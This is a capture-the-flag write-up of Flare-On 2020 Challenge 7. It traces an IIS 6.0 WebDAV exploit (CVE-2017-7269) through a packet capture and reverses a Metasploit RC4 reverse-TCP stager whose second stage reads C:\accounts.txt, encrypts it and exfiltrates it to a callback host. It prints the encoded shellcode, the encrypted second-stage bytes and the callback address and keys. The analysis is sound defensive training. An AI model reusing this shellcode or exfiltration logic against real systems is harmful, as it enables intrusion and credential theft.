Imposter Alert: Extracting and Reversing Metasploit Payloads (Flare-On 2020 Challenge 7)

ยท 2476 words ยท 12 minute read

Incident reported!

I recently participated in FireEye’s seventh annual Flare-On Challenge, a reverse engineering and malware analysis Capture The Flag (CTF) competition. Out of the 11 challenges ranging from typical executables to games written in exotic programming languages, I liked Challenge 7 the best. It featured a network traffic capture of a security breach with two stages. Having mostly worked in the red team, I enjoyed the opportunity to investigate Metasploit internals and shellcode from the perspective of a blue team.

As a beginner in malware analysis, I often found myself confused by tutorials that went from A to Z without explaining the thought process or tools used to get there. I hope that my detailed walkthrough of challenge 7 will be useful for other newcomers.

Initial Triage ๐Ÿ”—

The challenge kicked off with the following message:


Here at Reynholm Industries we pride ourselves on everything. It’s not easy to admit, but recently one of our most valuable servers was breached. We don’t believe in host monitoring so all we have is a network packet capture. We need you to investigate and determine what data was extracted from the server, if any.

Thank you.

I started out with a single re_crowd.pcapng network traffic capture file. First, I popped it into VirusTotal, a file scanner and antivirus aggregator, to check if it triggered any Suricata/Snort alerts for a quick win.

VirusTotal report for the network traffic file.

Although the traffic did not trigger any alerts, one of VirusTotal’s antivirus engines detected exploit shellcode, so I made sure to keep an eye out for that. Next, I opened the network traffic capture file in Wireshark, a network protocol analyser.

Initial Wireshark capture.

A quick scroll through the network traffic revealed that it was mostly HTTP traffic to and from ( I checked out what the web application on the server looked like by exporting all HTTP objects with File > Export Objects > HTTP to a folder, renaming the %5c file to index.html and opening it.

The company forum with Jen’s offending post.

From the results, it seemed that the server was hosting a company forum thread. According to Jen’s post, she created a C:\accounts.txt file that contains everyone’s credentials on the server. That’s a bad idea, Jen!

Welcome to the internet, Jen.

Identifying the Infection Vector ๐Ÿ”—

Now that I had a better idea of what’s going on, I took a closer look at the HTTP traffic. I like to use the following filter to get the most common types of web traffic (HTTP/HTTPS/DNS): (http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900). I noticed that sent a series of PROPFIND requests to the server. I extracted the full HTTP request by right-clicking on the first PROPFIND request > Follow > HTTP Stream:

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 0

HTTP/1.1 207 Multi-Status
Date: Thu, 16 Jul 2020 20:19:53 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Type: text/xml
Transfer-Encoding: chunked

<?xml version="1.0"?><a:multistatus xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/" xmlns:c="xml:" xmlns:a="DAV:"><a:response><a:href></a:href><a:propstat><a:status>HTTP/1.1 200 OK</a:status><a:prop><a:getcontentlength b:dt="int">0</a:getcontentlength><a:creationdate b:dt="">2020-06-05T14:21:13.801Z</a:creationdate><a:displayname>/</a:displayname><a:getetag>"54af82a5443bd61:3b2"</a:getetag><a:getlastmodified b:dt="dateTime.rfc1123">Fri, 05 Jun 2020 14:21:47 GMT</a:getlastmodified><a:resourcetype><a:collection/></a:resourcetype><a:supportedlock/><a:ishidden b:dt="boolean">0</a:ishidden><a:iscollection b:dt="boolean">1</a:iscollection><a:getcontenttype/></a:prop></a:propstat></a:response></a:multistatus>

From the Server header, I could tell that the forum was running on a Microsoft IIS 6.0 server. Upon inspecting the second PROPFIND request, I uncovered something more interesting:

Looks like the infection vector!

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 0
If: <> (Not <locktoken:write1>) <>

HTTP/1.1 500 Internal Server Failure
Connection: close
Date: Thu, 16 Jul 2020 20:19:53 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Type: text/html
Content-Length: 67

<body><h1>HTTP/1.1 500 Internal Server Error(exception)</h1></body> sent a long If header containing a suspicious base64 string and caused a server error. Googling parts of this string, such as VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA, led me to a blogpost about the IIS 6.0 WebDAV CVE-2017-7269 vulnerability and the GitHub page for the Alpha2 payload encoder. Not suspicious at all! This looks like our initial infection vector.

Extracting the First Payload ๐Ÿ”—

There were several write-ups about the CVE-2017-7269 exploit, including a Fortinet blogpost that helpfully provided a Python decoder for the base64 payload.

Extracting the large base64 string from the request, I removed the initial decoder stub (VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB), before plugging it into an adapted version of the decoder:


import string

# UTF-8 encoded bytes of the shellcode
encoded_bytes = "YlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA"

l = len(encoded_bytes)/2

decoded_bytes = str()

for i in range(l):

    # iterating on even numbers as beginning of the block
    block = encoded_bytes[i*2:i*2+2]

    # returns the Unicode code point and masks by the lower 4 bits
    decoded_byte_low = ord(block[1]) & 0x0F

    # block[1]'s Unicode code point, bitshifted 4 bits to the right
    # block[0]'s Unicode code point, masked by the lower 4 bits
    # sum is masked by the lower 4 bits
    decoded_byte_high = ((ord(block[1]) >> 4) + (ord(block[0]) & 0x0F)) & 0x0F

    # chr() returns the ASCII character associated to the code point
    decoded_byte = chr(decoded_byte_low + (decoded_byte_high << 4))

    decoded_bytes += decoded_byte

printable_decoded_bytes = ''.join(
    c for c in decoded_bytes if c in string.printable)

# ASCII display
print printable_decoded_bytes

# hexadecimal display
b = bytearray(decoded_bytes)

print ''.join('{:02x}'.format(x) for x in b).upper()

f = open('output.bin', 'w')

The printable output contained an interesting killervulture123 string, among others:

`1dP0RRr(J&1<a|, 
8u};}$uXX$fKXD$$[[aYZQ__Z]h32hws2_ThLw&)TPh)kPPPP@P@PhjhDh\jVWhtatNuhVjjVWh_6KXORj@hQjhXSSVPjVSWh_)u[Y]UWkillervulture123^1u1u10UEIu_Q

Analyzing the First Payload ๐Ÿ”—

Although I suspected that the base64 string was a Meterpreter payload due to the close links between the Alpha2 encoder and Metasploit, exercising due diligence is always necessary, especially when dealing with malware samples. Once again, I scanned the string using VirusTotal.

VirusTotal report for the first payload.

Yikes! After Googling "\xfc\xe8\x86\x00\x00\x00\x60\x89" meterpreter (the first 8 bytes of the shellcode), I ended up at a Metasploit Github Issue which suggested that it might be the windows/meterpreter/reverse_tcp payload. Unfortunately, further checks disproved this hypothesis as I found that the second half of the shellcode was different. Digging deeper, I came across a Metasploit pull diff for modules/payloads/stagers/windows/reverse_tcp_rc4.rb that matched the shellcode almost perfectly!

When I compared the payload with Meterpreter’s reverse TCP shellcode, there were only a few differences:

payload: \xc0\xa8\x44\x15 => (+ convert to decimal) 192 168 68 21 meterpreter: \x7F\x00\x00\x01 => (+ convert to decimal) 127 0 0 1

payload: \x4b\x58\x4f\x52 => KXOR meterpreter: \x58\x4F\x52\x4B => XORK

payload: \x6b\x69\x6c\x6c\x65\x72\x76\x75\x6c\x74\x75\x72\x65\x31\x32\x33 => killervulture123 meterpreter: \x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69\x74 => RC4KeyMetasploit

Based on these findings and the reverse_tcp_rc4.rb code, I could safely conclude that the payload was a reverse_tcp_rc4 Meterpreter stager with XORKEY set to KXOR, RC4Key set to killervulture123, and RHOST set to

For completeness, I performed additional static and dynamic analyses.

According to this blogpost, Meterpreter payloads may contain a mov instruction of an 8-byte value ending with 0002 which contains the callback IP address and port. The blogpost was written for 64-bit payloads, so it did not apply fully to my 32-bit payload. Nevertheless, after disassembling the shellcode with an online x86 disassembler, I found the following instructions:

bd: 68 c0 a8 44 15          push   0x1544a8c0
c2: 68 02 00 11 5c          push   0x5c110002

Referring to the push instruction of a 4-byte value ending with 0002, I hex-decoded and decimal-encoded the first value 0x1544a8c0 to obtain 21 68 168 192, which is the little-endian representation of 192 168 68 21. Next, I converted 5c11 from network byte order to host byte order in Python:

from socket import ntohs

ntohs(int("5c11", 16)) # 4444

The callback port received was 4444. These values formed part of the sockaddr_n struct used in connections.

I also ran the shellcode through scdbg, a shellcode analysis tool that emulates and logs Windows application programming interface (API) calls:

scdbg output for the first payload.

scdbg.exe C:\Users\IEUser\Desktop\flare\7\output.bin
Loaded 18b bytes from file C:\Users\IEUser\Desktop\flare\7\output.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40109b  LoadLibraryA(ws2_32)
4010ab  WSAStartup(190)
4010ba  WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
4010d4  connect(h=42, host: , port: 4444 ) = 71ab4a07
4010f1  recv(h=42, buf=12fc5c, len=4, fl=0)
Allocation (e5e5849) > MAX_ALLOC adjusting...
40110c  VirtualAlloc(base=0 , sz=1000000) = 600000
len being reset to 4096 from e5e5849
401121  recv(h=42, buf=600100, len=1000, fl=0)
len being reset to 4096 from e5e5849
401121  recv(h=42, buf=600100, len=1000, fl=0)
Stepcount 2000001 

The above output showed that the payload called the connect(h=42, host:, port: 4444) function to retrieve the second encrypted payload.

Extracting the Second Payload ๐Ÿ”—

Going back to the network traffic capture file, I applied the filter tcp.port eq 4444 and revealed two connections to The second connection had a much larger response than the first. According to the RC4 stager assembly comments, the first connection retrieved the size of the second stage while the second connection downloaded and executed it. I dumped out the raw bytes of the second connection by right-clicking the row > Follow > TCP Stream > Show and Save data as Raw > Save as.

I discarded the first four bytes of the data containing the size of the payload and decrypted the rest with Ruby code that inverted Metasploit’s RC4 encryption routine:

irb(main):001:0> require 'openssl'
=> true
irb(main):002:0> c1 ='RC4')
irb(main):003:0> c1.key = 'killervulture123'
irb(main):004:0> p = c1.update(["a4b1037390e4c88e97b0c95bc630dc6abdf4203886f93026afedd0881b924fe509cd5c2ef5e168f8082b48daf7599ad4bb9219ae107b6eed7b6db1854d1031d28a4e7f268b10fdf41cc17fab5a739202c0cb49d953d6df6c0381a021016e875f09fe9a699435844f01966e77eca3f3f52f6a3636ab4775b580cb47bd9f7638a54048579c36ad8e7945a320faed1f1849b88918482b5b6feef4c3d6dccc84eab10109b1314ba4055098b073ae9c14101b65bd93826c57b9757a2aeede10fb39ba96d0361fc2312cc54f33a513e1595692c51fa54e0e626edb5be87f8d01a67d012b02431f54b9bcd5ef2db3daef3dd068fedade60b117feea204a2ca1bba1b5c51292a9dbf111e38c58badc3d288666c86d0eabfa83d5246010681dc7afc7ac4513a3d972e7cc5179f567417cae7fc87e954609f6ef4b4502745210501cb76a7ceb00d759c3290237d0472e1e3af7e6ac821474eb4f6b572213f6f248d66bcbb4eda73268cbd06642d3c5f2c537df7d9f9f28c0743abeb8c0a773d0bbfa507c101edab123d6c481a5d3b62229096b21a65c38c6803dbe0823c7b11f6de6646695dc10a71342cd3bfadcda148dd05ac88135542fb5dc61d6287788c55870b52fcfea4f4d85560407f39074ce5d3c8a2b06b49fe66d79c06e3dd83e2008b7743d3699cd7f607d9cc9b3ad0c8e456dea3ddd091dda0b3a1cfccb8148ed5afacef8c623b01e2644a3d9ab0ed598b133655ded6ad3237f024ab3a2f81d7ed12f5fbe89615e2ce4b89619e549764e7ae892a370556f7d3cf9c1364469337ddf7937b8e0aae86a5dc93b180f4e283a31a87fefb819ac3663e889214d83a77e5703489be1279306e43b675fe56950003e8b01b7efa6b54b3682d4fb9fde8b27cca457ce2537445042f77ea2bf4fdf0f72d8664a3ef5c8262ac5887b97ab235b2b61d83f00370e7e14fafd7df78149c2a1851bd028bea524fd60b278274eace8793b3b7adc56d076c5010fcf43b5d45f4870bdac6576db113b5bcf9c528b001e83f1fa925b7779076ae0d4339a71ba24a5a5c8eb4c01b3d3cd2c228c0b4ccd2d5a8c9ab167707f7596e256c11dff057e77a2bae59aaef9f8b2f178d2b1dce903c2d4ff1f66cdb047f0b4d1f672fa1eb7f14de76e4210ec5d9430dd7f751c014546b6146cf7453658eceff337049c21eb9454a3fe23cbbb315c6275bded2790fe9117e2ae429b7904d15cefcd4b86934a74412dad0b351d81fd102c8efd8c681df5450ab5b409be0efafad2f74e58d83c1a1b113d992553ab78ac5449bb2a42b38066b563e290f8a58f37af97132be8fc5d4b718b4d9fc8ec07281fcb30921e6ddcb9de94b8e9cb5af7a2b0bb0fc338b727331be9bf452d863e346d12f6051227c528e4d261267e992b3f1f034d7972b983566d8e8233c209eb214a0c13adea291b58da10164320557df4b7fc2634688ba054af07d5d523b523b8fb07c6644a567fa06d867c333b23b79d9ca822b1799f00e776e9c768ae5c23ae9fc6459148836fbf0ad8c977ab2c2d8547bfe9818013d9dc1c210ff4c7790752a8068c576353b2fb7dbe6c1aae2ebdc6fd970a04edc0a30545db9b62bd34a9082553009036cfd96315a5f7f8e0d869fd7924607ba2aebdf2b4b9c2088465a96deba5d872a7b65921b9f411125d391d15756d8a2f58c2fc80025178a9fc7dde0d85a55718f8f0cc8e4c5ed76558744e8a4433a224e3565768babbf2b23298f1882ec3"].pack("H*"))
irb(main):005:0> puts p
<NON-ASCII VALUES>/IC:\accounts.txtintrepidmango

Analyzing the Second Payload ๐Ÿ”—

The raw text of the second payload ended with the string C:\accounts.txtintrepidmango. Based on this observation, I suspected that the payload encrypted C:\accounts.txt with the key intrepidmango and exfiltrated it. The output of scdbg for the second payload seemed to support this due to the calls to ReadFile and socket.

C:\PROGRA~2\scdbg>scdbg.exe C:\Users\IEUser\Desktop\flare\7\stage.bin
Loaded 4d7 bytes from file C:\Users\IEUser\Desktop\flare\7\stage.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4013c6  CreateFileA(C:\accounts.txt) = 4
4013e7  ReadFile(hFile=4, buf=12fa40, numBytes=100) = 0
401433  WSAStartup(202)
401339  socket(2, 1, 6) = 41
401367   opcode 0f c8 not supported

401367   0FC8                            bswap eax               step: 838128  foffset: 367
eax=c0a84415  ecx=0         edx=120539    ebx=41
esp=12fa14    ebp=12fa2c    esi=401000    edi=12fa24     EFL 5 C P

401369   8945EC                          mov [ebp-0x14],eax
40136c   8D45E8                          lea eax,[ebp-0x18]
40136f   6A10                            push byte 0x10
401371   50                              push eax

Stepcount 838128

Next, I disassembled the payload in IDA Pro. According to the output, the program began by calling sub_38F, which in turn called the rest of the functions. Hence sub_38F appeared to be the main function.

Disassembly of the main function.

Among the first few instructions in sub_38F, push 100h stood out because it passed 256 (100 in hex) as an argument to the next function call. 256 is significant as it is a constant that is commonly associated with RC4 encryption. RC4 uses a 256-byte state vector to generate the keystream. Looking at the other functions identified by IDA in the Functions window, I came across what looked very much like RC4’s key scheduling algorithm (KSA) in sub_D4:

Graph visualization of Key Scheduling Algorithm in the payload.

According to Wikipedia, the standard KSA should look like this:

for i from 0 to 255
    S[i] = i
j = 0
for i from 0 to 255
    j = (j + S[i] + key[i mod keylength]) mod 256
    swap values of S[i] and S[j]

The assembly included tell-tale signs of RC4 encryption such as xor ecx, ecx (which sets ecx to 0), followed by a loop that incremented ecx 256 times and stored it with mov eax, ecx. This resembled the first loop in the KSA pseudocode.

Once I confirmed that the payload was using RC4 encryption, I inspected some of the variables (such as the encryption key and eventual exfiltration target) using dynamic analysis. Since the payload was pure shellcode, I needed to run it with a wrapper such as Blobrunner.

In the x64dbg (or rather, x32dbg) debugger, I opened blobrunner.exe, then pointed it to the shellcode by selecting File > Change Command Line > "C:\Users\IEUser\Desktop\flare\7\blobrunner.exe" "C:\Users\IEUser\Desktop\flare\7\stage.bin". Next, I restarted the debugger (Ctrl-F2) and ran it (F9) to load Blobrunner. Blobrunner prompted me to navigate to the address (Ctrl-g) and set a breakpoint at the base address of the shellcode.

Debugging the shellcode with Blobrunner and x64dbg.

Once that was done, I hit Enter in the Blobrunner window, which executed the shellcode and triggered the breakpoint.

 __________.__        ___.  __________
 \______   \  |   ____\_ |__\______   \__ __  ____   ____   ___________
 |    |  _/  |  /  _ \| __ \|       _/  |  \/    \ /    \_/ __ \_  __ \
 |    |   \  |_(  <_> ) \_\ \    |   \  |  /   |  \   |  \  ___/|  | \/
 |______  /____/\____/|___  /____|_  /____/|___|  /___|  /\___  >__|
        \/                \/       \/           \/     \/     \/
[*] Using file: C:\Users\IEUser\Desktop\flare\7\stage.bin
[*] Reading file...
[*] File Size: 0x04d7
[*] Allocating Memory....Allocated!
[*]   |-Base: 0x00100000
[*] Copying input data...
[*] Using offset: 0x00000000
[*] Navigate to the EP and set a breakpoint. Then press any key to jump to the shellcode.

[*] Entry: 0x00100000
[*] Jumping to shellcode 

With the payload paused at the beginning of the shellcode, I could set more breakpoints. I knew that the main function was at offset 38F according to IDA (which helpfully named it sub_38F), so I jumped to address 0x00100000 + 38F = 0x0010038F (base address of the shellcode plus the offset for main) where I set a breakpoint. As I proceeded with the rest of the instructions (F7 or F8), I noticed that the first call dword ptr [eax] was a call to CreateFileA, which creates a file handler. The call included the argument C:\\accounts.txt based on the esp register value on the right panel. Similarly, the next call dword ptr [eax+8] referenced ReadFile.

Viewing register values at the breakpoints.

Moving on to call 100D4 (remember this is the KSA function), the argument at the edx register was intrepidmango, confirming that this was the key used for the RC4 encryption. Finally, prior to call 1003E, I found the following instructions:

mov     eax, 0C0A84415h
mov     dx, 539h
call    1003E

Generally, if you see larger values being moved around that aren’t pointers, it’s always a good idea to try hex-decoding them. When I hex-decoded and decimal-encoded 0C0A84415, I got the callback IP address, 192 168 68 21. Likewise, 539 decoded to 1337.

To sum it up, the second payload encrypted the contents of C:\accounts.txt using RC4 with the key intrepidmango, then exfiltrated it to!

Decrypting the Key ๐Ÿ”—

Back in Wireshark, I applied the tcp.port eq 1337 filter, which returned only one TCP connection. Once again, I followed the TCP stream and output the data as a hexdump.

Hexdump of exfiltration traffic.

Next, I decoded and decrypted it in CyberChef with the key intrepidmango. Ta da! Sweet success!

roy:[email protected]:goat

Victory! Play Again? ๐Ÿ”—

As a newcomer to reverse engineering, I tackled this challenge with a large variety of static and dynamic analysis tools, picking up tips and tricks from all over the internet. Along the way, I struggled with write-ups that sometimes omitted key instructions and explanations. Hence, I hope this blogpost will be useful, even for beginners.

Out of all the Flare-On challenges I have completed, re_crowd was my favourite as it forced me to dive into an “everyday” exploit and understand Meterpreter internals. Additionally, I gained a lot of experience in analysing and recognising the RC4 algorithm that is commonly used by malware. I highly recommend this challenge as a realistic training scenario for any cybersecurity specialist! If you are looking to hone your reverse-engineering skills or other domains such as web, mobile, and more, register for GovTech’s STACK the Flags challenge with up to $15,000 in prizes!